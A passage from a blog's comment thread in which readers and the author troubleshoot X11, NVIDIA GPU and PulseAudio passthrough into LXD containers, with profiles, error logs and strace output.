      multipass has such an applet that is suitable for a wizard. I’ll have a look at it.

    • Chanan Oren on February 15, 2020 at 04:43
    • Reply

    Doesn’t work on ThinkPad X1 Extreme Gen 2. (other hybrid graphics systems?) Same problem when I tried turning off hybrid in firmware.

    Ubuntu 19.10 container on Ubuntu 19.10 host. Latest lxd snap.

    ubuntu@gputest:~$ glxinfo -B
    name of display: :0
    X Error of failed request: BadValue (integer parameter out of range for operation)
    Major opcode of failed request: 152 (GLX)
    Minor opcode of failed request: 24 (X_GLXCreateNewContext)
    Value in failed request: 0x0
    Serial number of failed request: 96
    Current serial number in output stream: 97

    ubuntu@gputest:~$ nvidia-smi
    No devices were found

    ubuntu@gputest:~$ ls -l /dev/nvidia*
    crw-rw-rw- 1 nobody nogroup 195, 254 Feb 13 22:35 /dev/nvidia-modeset
    crw-rw-rw- 1 nobody nogroup 234, 0 Feb 13 22:35 /dev/nvidia-uvm
    crw-rw-rw- 1 nobody nogroup 234, 1 Feb 13 22:35 /dev/nvidia-uvm-tools
    crw-rw-rw- 1 root root 195, 0 Feb 15 04:16 /dev/nvidia0
    crw-rw-rw- 1 nobody nogroup 195, 255 Feb 13 22:35 /dev/nvidiactl
    ubuntu@gputest:~$ ls -ln /dev/nvidia*
    crw-rw-rw- 1 65534 65534 195, 254 Feb 13 22:35 /dev/nvidia-modeset
    crw-rw-rw- 1 65534 65534 234, 0 Feb 13 22:35 /dev/nvidia-uvm
    crw-rw-rw- 1 65534 65534 234, 1 Feb 13 22:35 /dev/nvidia-uvm-tools
    crw-rw-rw- 1 0 0 195, 0 Feb 15 04:16 /dev/nvidia0
    crw-rw-rw- 1 65534 65534 195, 255 Feb 13 22:35 /dev/nvidiactl
    ubuntu@gputest:~$ ls -l /dev/dri/
    total 4
    crw-rw---- 1 root root 226, 0 Feb 15 04:16 card0
    crw-rw---- 1 root root 226, 1 Feb 15 04:16 card1
    crw-rw---- 1 root root 226, 128 Feb 15 04:16 renderD128
    crw-rw---- 1 root root 226, 129 Feb 15 04:16 renderD129

    glxinfo and nvidia-smi works on host. Been trying to figure out how to get it working for a few weeks.

    1. Check what’s in `/tmp/.X11-unix/ on the host.

      Most likely there will be X0 and X1, for the Intel and the NVidia GPUs. Run echo $DISPLAY on the host to check which GPU is the primary one. With hybrid, do they switch dynamically?

        • Chanan Oren on February 21, 2020 at 01:58
        • Reply

        Pretty sure it doesn’t switch dynamically.

        ~
        λ ls -l /tmp/.X11-unix
        total 0
        srwxrwxrwx 1 root root 0 Feb 18 23:59 X0=
        srwxrwxrwx 1 root root 0 Feb 19 00:00 X1=

        ~
        λ echo $DISPLAY
        :1

        ~
        λ prime-select query
        nvidia

        ~
        λ lxc profile show x11
        config:
        environment.DISPLAY: :0
        environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
        nvidia.driver.capabilities: all
        nvidia.runtime: "true"
        user.user-data: |
        #cloud-config
        runcmd:
        - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
        packages:
        - x11-apps
        - mesa-utils
        - pulseaudio
        description: GUI LXD profile
        devices:
        PASocket1:
        bind: container
        connect: unix:/run/user/1000/pulse/native
        gid: "1000"
        listen: unix:/home/ubuntu/pulse-native
        mode: "0777"
        security.gid: "1000"
        security.uid: "1000"
        type: proxy
        uid: "1000"
        X0:
        bind: container
        connect: unix:@/tmp/.X11-unix/X1
        listen: unix:@/tmp/.X11-unix/X0
        security.gid: "1000"
        security.uid: "1000"
        type: proxy
        mygpu:
        type: gpu
        name: x11
        used_by:
        - /1.0/instances/gputest

    • DuckHook on April 12, 2020 at 16:50
    • Reply

    Thanks for this incredible resource, Simos. As a non-techie user, I had given up on LXD as a container strategy for desktop use until your blog made it all work. It’s been great, especially on Bionic. But I’ve run into a problem on Focal (which is still in beta at the time of this post).

    With the above “proxy” stack, pulseaudio won’t work on Focal, but your older “disk” stack will. My workaround is to segment the X11 stuff from the pulseaudio, then mix and match, depending on which OS version I’m running on my host (I multi-boot). In other words:

    x11.profile is now simply:

    config:
    environment.DISPLAY: :0
    user.user-data: |
    #cloud-config
    packages:
    – x11-apps
    – mesa-utils
    description: GUI LXD profile
    devices:
    X0:
    bind: container
    connect: unix:@/tmp/.X11-unix/X0
    listen: unix:@/tmp/.X11-unix/X0
    security.gid: “1000”
    security.uid: “1000”
    type: proxy
    mygpu:
    type: gpu
    name: x11
    used_by: []

    pa_proxy.profile is:

    config:
    environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
    user.user-data: |
    #cloud-config
    runcmd:
    – ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
    packages:
    – pulseaudio
    description: pulseaudio proxy LXD profile
    devices:
    PASocket1:
    bind: container
    connect: unix:/run/user/1000/pulse/native
    listen: unix:/home/ubuntu/pulse-native
    security.gid: “1000”
    security.uid: “1000”
    uid: “1000”
    gid: “1000”
    mode: “0777”
    type: proxy
    name: pa_proxy
    used_by: []

    pa_disk.profile is:

    config:
    raw.idmap: “both 1000 1000”
    user.user-data: |
    #cloud-config
    runcmd:
    – ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
    – ‘echo export PULSE_SERVER=unix:/tmp/.pulse-native | tee –append /home/ubuntu/.profile’
    packages:
    – pulseaudio
    description: pulseaudio LXD profile
    devices:
    PASocket:
    path: /tmp/.pulse-native
    source: /run/user/1000/pulse/native
    type: disk
    name: pa_disk
    used_by:

    Then launch images with either:

    lxc launch ubuntu:19.10 –profile default –profile x11 –profile pa_disk mycontainer

    or:

    lxc launch ubuntu:19.10 –profile default –profile x11 –profile pa_proxy mycontainer

    While this workaround gives me properly working containers, I’m curious as to why the proxy style of pulseaudio fails in Focal. For general ease of use, it would be nice to get your combined stack working again.

    1. I am using Ubuntu 20.04 (installation from the daily ISO two days ago), and I got sound working in the container just by using the profile in the post.

      I tested with a Ubuntu 18.04 container.
      If it does not work, try to debug the issue.
      1. Whether the PulseAudio socket exists in /home/ubuntu/
      2. You can test with paplay, and play any of the *.ogg files that are preinstalled on the host (after you copy to the container).
      3. Use pactl info to verify the versions of the host and the container for PulseAudio.

        • DuckHook on April 25, 2020 at 07:15
        • Reply

        Sorry it’s taken me so long to reply, Simos.

        I thought I would wait until Focal came out of beta. That has now happened and the problem persists.

        I should note that the identical problem shows up on two different laptops. Also note that the laptops are installed using whole disk ZFS. The LXD containers are housed in /rpool/containers. The same problem with both 18.04 and 20.04 containers.

        I cannot carry out any of the steps in your suggestions because the container will not launch at all. All attempts to launch/start will crash out with the following errors:

        duckhook@Hermes: ~$ lxc launch ubuntu:18.04 –profile default –profile x11 browsers
        Creating browsers
        Starting browsers
        Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/.pulse-native: listen unix /home/ubuntu/.pulse-native: bind: no such file or directory
        Try lxc info --show-log local:browsers for more info

        duckhook@Hermes: ~$ lxc start browsers
        Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/.pulse-native: listen unix /home/ubuntu/.pulse-native: bind: no such file or directory
        Try lxc info --show-log local:browsers for more info

        duckhook@Hermes: ~$ lxc info –show-log local:browsers
        Name: browsers
        Location: none
        Remote: unix://
        Architecture: x86_64
        Created: 2020/04/25 05:36 UTC
        Status: Stopped
        Type: container
        Profiles: default, x11

        Log:

        lxc browsers 20200425053713.241 ERROR cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1143 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.browsers”
        lxc browsers 20200425053713.244 ERROR cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1143 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.browsers”
        lxc browsers 20200425053713.263 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1455 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )

        • DuckHook on April 26, 2020 at 07:11
        • Reply

        Hi Simos.

        I won’t bother you further on your blog. I’ve opened an account at linuxcontainers.org and have contributed to the discourse thread there:

        https://discuss.linuxcontainers.org/t/proxy-device-not-connecting-to-pulseaudio-on-lxd-host/7472/5

        It just seems better to concentrate discussions onto one place.

      1. Hi!

        I actually do not mind discussions on my blog. Traffic on the blog is a good thing.

        On the forum there was a discussion that when a container is created, it takes some time before the /home/ubuntu/ directory is created. And if the PASocket device is scheduled to get created but there is no /home/ubuntu/ directory yet, then it fails.

        However, in your case, you are trying to restart the container at a later date and still LXD cannot apply the PASocket device as if still there is no /home/ubuntu/ directory available yet. That would be really strange, and you can debug whether /home/ubuntu/ has been created in the container that does not start, by running lxc file push /etc/wgetrc browsers/home/ubuntu/. This command will put some random file from the host to the stopped container in the home directory. If the home directory exists, then the command will succeed. Otherwise it will fail.

  4. I was not able to get pactl info working on a recent ubuntu18:04. after some digging, i found that:

    a. if a container is created with default profile, (not gui) and if you made a apt update; apt upgrade; only then you can install pulseaudio, and pactl info will work with success without requiring any of above setup.

    However, if you put in the parts just required for x11, pactl info will give fail.

    Connection failure: Connection refused
    pa_context_connect() failed: Connection refused

    here is the config i used: (i installed pulseaudio manually)

    config:
    environment.DISPLAY: :0
    nvidia.driver.capabilities: all
    nvidia.runtime: “true”
    description: GUI LXD profile
    devices:
    X0:
    bind: container
    connect: unix:@/tmp/.X11-unix/X1
    listen: unix:@/tmp/.X11-unix/X0
    security.gid: “1000”
    security.uid: “1000”
    type: proxy
    eth0:
    name: eth0
    network: lxdbr0
    type: nic
    mygpu:
    type: gpu
    root:
    path: /
    pool: default
    type: disk
    name: x11
    used_by: []

    1. The profile has cloud-init instructions will perform apt update; apt install pulseaudio.
      You mention that you use Ubuntu 18.04. Is that just for the host?
      If you are using a container other than those from ubuntu: (that is, from images:), then you should use those that end with /cloud because those have pre-configured cloud-init. The cloud is for cloud-init.

    • Andrew on May 5, 2020 at 04:28
    • Reply

    My audio does not work. On the container

    Here is pactl info
    I’m am using Ubuntu 20.04 for my host and 18.04 as the guest.

    Server String: /tmp/pulse-PKdhtXMmr18n/native
    Library Protocol Version: 32
    Server Protocol Version: 32
    Is Local: yes
    Client Index: 0
    Tile Size: 65472
    User Name: ubuntu
    Host Name: mycontainer
    Server Name: pulseaudio
    Server Version: 11.1
    Default Sample Specification: s16le 2ch 44100Hz
    Default Channel Map: front-left,front-right
    Default Sink: auto_null
    Default Source: auto_null.monitor
    Cookie: 0414:9aac

    ubuntu@mycontainer:~$ pulseaudio -k
    E: [pulseaudio] main.c: Failed to kill daemon: No such process

    ubuntu@mycontainer:~$ pulseaudio
    W: [pulseaudio] server-lookup.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message
    W: [pulseaudio] main.c: Unable to contact D-Bus: org.freedesktop.DBus.Error.Spawn.ExecFailed: /usr/bin/dbus-launch terminated abnormally without any error message

    1. Hi!

      There is no Pulseaudio server running in the container. The container is configured so that it acts as a continuation of the host.
      It is the client libraries of PulseAudio in the container that have been configured to eventually reach out to the Pulseaudio server on the host.

      I could not find a package for just the Pulseaudio client libraries, therefore I install the pulseaudio package but do not setup the server at all.

      If pactl info does not work in the container, then we can look into that.

        • Andrew on May 6, 2020 at 02:25
        • Reply

        Well the program PulseAudio Preferences (paprefs) does not work at all on the host. All the options are grayed out even though I should have the correct permissions and even as root it does not work. Can that be a part of the issue? Everything else seems to work with no issue.

      1. paprefs would need to work if you were to enable access of PulseAudio over the network. My previous tutorials were describing how to do this, but not this one. I have not used paprefs in Ubuntu 20.04 LTS so I do not know even if it is still there.

    • Andrew on May 6, 2020 at 02:27
    • Reply

    Btw I used your profile so my setup should be the same as yours.

    1. You are using Ubuntu 20.04 LTS as the host, and the container is Ubuntu 18.04 (ubuntu:18.04), right?

      For audio, verify that there is a Pulseaudio socket in the container at /home/ubuntu/pulse-native.
      In some cases, when you create a X11 container, there is a race condition that the home directory /home/ubuntu has not been created yet, while LXD tries to create the proxy device.

      paprefs is required when you tried to enable PulseAudio over the network. In this version of the guide, you are sneaking in the PulseAudio Unix socket to the container, and make the container appear to the host as if it is one more process running on the host.

      You need to run pactl info in the container. Depending on the output (socket not found? permission denied?), we can see what can be done next.

    • Andrew on May 6, 2020 at 22:27
    • Reply

    ubuntu@mycontainer:~$ pactl info

    Server String: /tmp/pulse-PKdhtXMmr18n/native
    Library Protocol Version: 32
    Server Protocol Version: 32
    Is Local: yes
    Client Index: 0
    Tile Size: 65472
    User Name: ubuntu
    Host Name: mycontainer
    Server Name: pulseaudio
    Server Version: 11.1
    Default Sample Specification: s16le 2ch 44100Hz
    Default Channel Map: front-left,front-right
    Default Sink: auto_null
    Default Source: auto_null.monitor
    Cookie: a118:e137

    ubuntu@mycontainer:~$ ls -la pulse-native

    srwxrwxrwx 1 ubuntu ubuntu 0 May 6 21:18 pulse-native

    pulse-native is in the home directory. I do not know how to “make the container appear to the host as if it is one more process running on the host.” Is there a way for me to change the Server String in Pulseaudio so it uses /home/ubuntu/pulse-native ?

    Btw thanks for trying to help. Really appreciate it and keeps my hopes up that we will find a solution! I’m new to LXD so this is a good learning experience.

      • Andrew on May 6, 2020 at 22:36
      • Reply

      Hey guess what! I fixed it! So it turns out in /etc/pulse/client.conf I had to manually set the default server to
      default-server = /home/ubuntu/pulse-native All I had to do is un-comment the line and paste the path in! Please share this in your tutorial as a troubleshooting tip.

      1. You mentioned that your host is Ubuntu 20.04 and your container is 18.04. The pactl info command shows that both the PulseAudio server and client are at version 32. Ubuntu 18.04 has Pulseaudio 32, while Ubuntu 20.04 has Pulseaudio 33. Although not critical, verify your versions.

        In a previous comment I mention that the cloud-init instructions only work for the ubuntu: container images, and also the images:xxxx/cloud container images. If you also had to install manually the pulseaudio package, then you used a container image that does not have cloud-init support.
        Can you show me the lxc launch command that you have used? If it wasn’t lxc launch ubuntu:18.04 ..., then it is not surprising that the cloud-init section in the LXD profile did not manage to run in your container.

        • Andrew on May 7, 2020 at 00:39
        • Reply

        I did not have to install anything manually. All i had to do was manually change the config. Mesa, Xorg, and Pulse were installed at setup. I copy and pasted your setup command and it worked.

        Thanks for this guide. It would be cool to see a guide on setting up a firewall, USB hotplug support, and easy container to host file sharing with this tutorial.

      2. Ok, I registered in my mind that you were referring to the change in the PulseAudio configuration to enable to the Unix socket.
        It is a good find that you can set default-server = /home/ubuntu/pulse-native and not worry about the PULSE_SERVER environment variable.

    • PJ Zoulin on June 18, 2020 at 18:17
    • Reply

    Hey Simos,

    First of all, thanks again for these articles. Being able to run GUI apps in LXC containers is superb when you are doing development with highly configured environments.

    I recently moved from the instructions in the original article https://blog.simos.info/how-to-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/ this this one in order to get snaps to work. I am having audio gremlins with snaps. They don’t seem to see the audio connection. If I install firefox with apt install it plays audio and sees the microphone. But if I install it as a snap, no dice. Any ideas?

    1. Thanks PJ!

      I installed the snap version of Firefox, went over to Youtube and could listen to audio.
      Since all these are reproducible, you can give me instructions of a specific case where audio does not work.

        • PJ Zoulin on June 19, 2020 at 01:12
        • Reply

        Something strange is going on with my system then… (why am I always the lucky one?). My setup is very close the exact steps given here.

        I’ll fiddle with it and see if I can’t figure it out. For some reason, some apps, the Zoom client among them and snaps also, don’t seem to register audio. But other apps like Chrome work just fine. If I can figure it out, I’ll post my results.

        • PJ Zoulin on June 19, 2020 at 04:30
        • Reply

        Ok, so here’s something interesting. I added the pa cookie as a device using instructions in the “v1” article, and pointed the env var PULSE_COOKIE at it. And voila, the Zoom client now works! Snaps are still no dice. But this leads me to wonder if I have a permissions problem of some kind. Why some apps work and others don’t is really weird though.

        I’m wondering if this will help: https://wiki.archlinux.org/index.php/PulseAudio/Examples

        Allowing multiple users to use PulseAudio at the same time
        It is sometimes desirable to run some programs as another user on the same desktop of the primary user in order to isolate the software. However, PulseAudio will not accept by default connections by the secondary users, since a PulseAudio daemon is already running for the primary user. However, a PulseAudio UNIX socket can be created in order to accept connections from other users to the main PulseAudio daemon run by the primary user.

        First, edit /etc/pulse/default.pa or ~/.config/pulse/default.pa and add a directive for the unix socket to be created:

        ~/.config/pulse/default.pa
        load-module module-native-protocol-unix auth-anonymous=1 socket=/tmp/pulse-socket

        I’m thinking that if I do that, I have to change the profile to also look at /tmp/pulse-socket or wherever it gets directed to? But that ought to open remove (at least for testing purposes) any permissions questions? I’m going to try it tomorrow. I’m brain fried right now.

      1. Hi!

        Snap packages run in some level of isolation, so that your system is protected.
        By doing so, by default snap packages cannot access those dot directories in your home directory. For example, snap packages cannot access files in ~/.config/. And snap packages can definitely NOT access anything from /tmp/.

        Therefore, the example that you give with PULSE_COOKIE, can still work if you put the cookie in /home/ubuntu/ instead. Just like we do with the PulseAudio socket.

        In the container, each and every application uses the PulseAudio client libraries to access audio services. From inside the /etc/pulse/ directory, these client libraries only access the client.conf configuration.

        When you try to figure out how audio applications work in the container, you can

        1. Use strace to look into what files are opened when you run an audio-enabled application.
        strace -fff -o /home/ubuntu/mypactl.log pactl info
        
        1. Grep the lines that attempt to open files. You can see the access to the client.conf configuration but no other configuration files.Also, the access to the socket and attempt to access the cookie.
        grep ^open /home/ubuntu/mypactl.log
        

        The file /etc/pulse/client.conf has a default-server field. But for this field to work, the documentation says that you need to load-module, which does not appear to work if you do not start a PulseAudio server.

        You might get a breakthrough if you try to setup some sort of actual PulseAudio server running in the container. I have not looked into this as for my use case, I try to avoid either a X11 server or PulseAudio server running in the container.

    • PJ Zoulin on June 19, 2020 at 16:10
    • Reply

    ok, made some progress.

    It appears that something broke in Ubuntu 20. Bringing up a 19.10 based container, snaps work out of the box with with no cookie, etc. On 20.04, snaps stop working and other apps can be made to work by adding the cookie.

    I ran firefox on both, and here are the logs. I’m wondering if 20 breaks for everyone else or just me?

    Here is a log (using the above instructions) on 20.04. Following is a log for 19.10. I can’t really see where the issue is. Although, firefox itself notices a problem on 20. The console output for firefox says:

    [Child 1107, MediaDecoderStateMachine #1] WARNING: Decoder=7fa7acfcec00 Decode error: NS_ERROR_DOM_MEDIA_FATAL_ERR (0x806e0005) - RefPtr<MediaSourceTrackDemuxer::SamplesPromise> mozilla::MediaSourceTrackDemuxer::DoGetSamples(int32_t): manager is detached.: file /builds/worker/checkouts/gecko/dom/media/MediaDecoderStateMachine.cpp, line 3370
    IPDL protocol error: Handler returned error code!

    ###!!! [Parent][DispatchAsyncMessage] Error: PLayerTransaction::Msg_ReleaseLayer Processing error: message was deserialized, but the handler returned false (indicating failure)

    Here is the file access log for 20.04 (not working, no cookie added)

    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpulse.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-13.99.so", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libcap.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpthread.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/librt.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdl.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libxcb.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libwrap.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libasyncns.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libFLAC.so.8", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libogg.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbis.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbisenc.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXau.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXdmcp.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnsl.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbsd.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MEASUREMENT", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TELEPHONE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_ADDRESS", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NAME", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_PAPER", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MONETARY", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_COLLATE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TIME", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NUMERIC", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/home/toochevere/.pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.config/pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/pulse/client.conf", O_RDONLY|O_CLOEXEC) = 7
    openat(AT_FDCWD, "/etc/pulse/client.conf.d", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 8
    openat(AT_FDCWD, "/etc/pulse/client.conf.d/01-enable-autospawn.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = 8
    openat(AT_FDCWD, "/etc/machine-id", O_RDONLY|O_CLOEXEC) = 8

    And here is the log for 19.10 (working, no cookie added)

    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
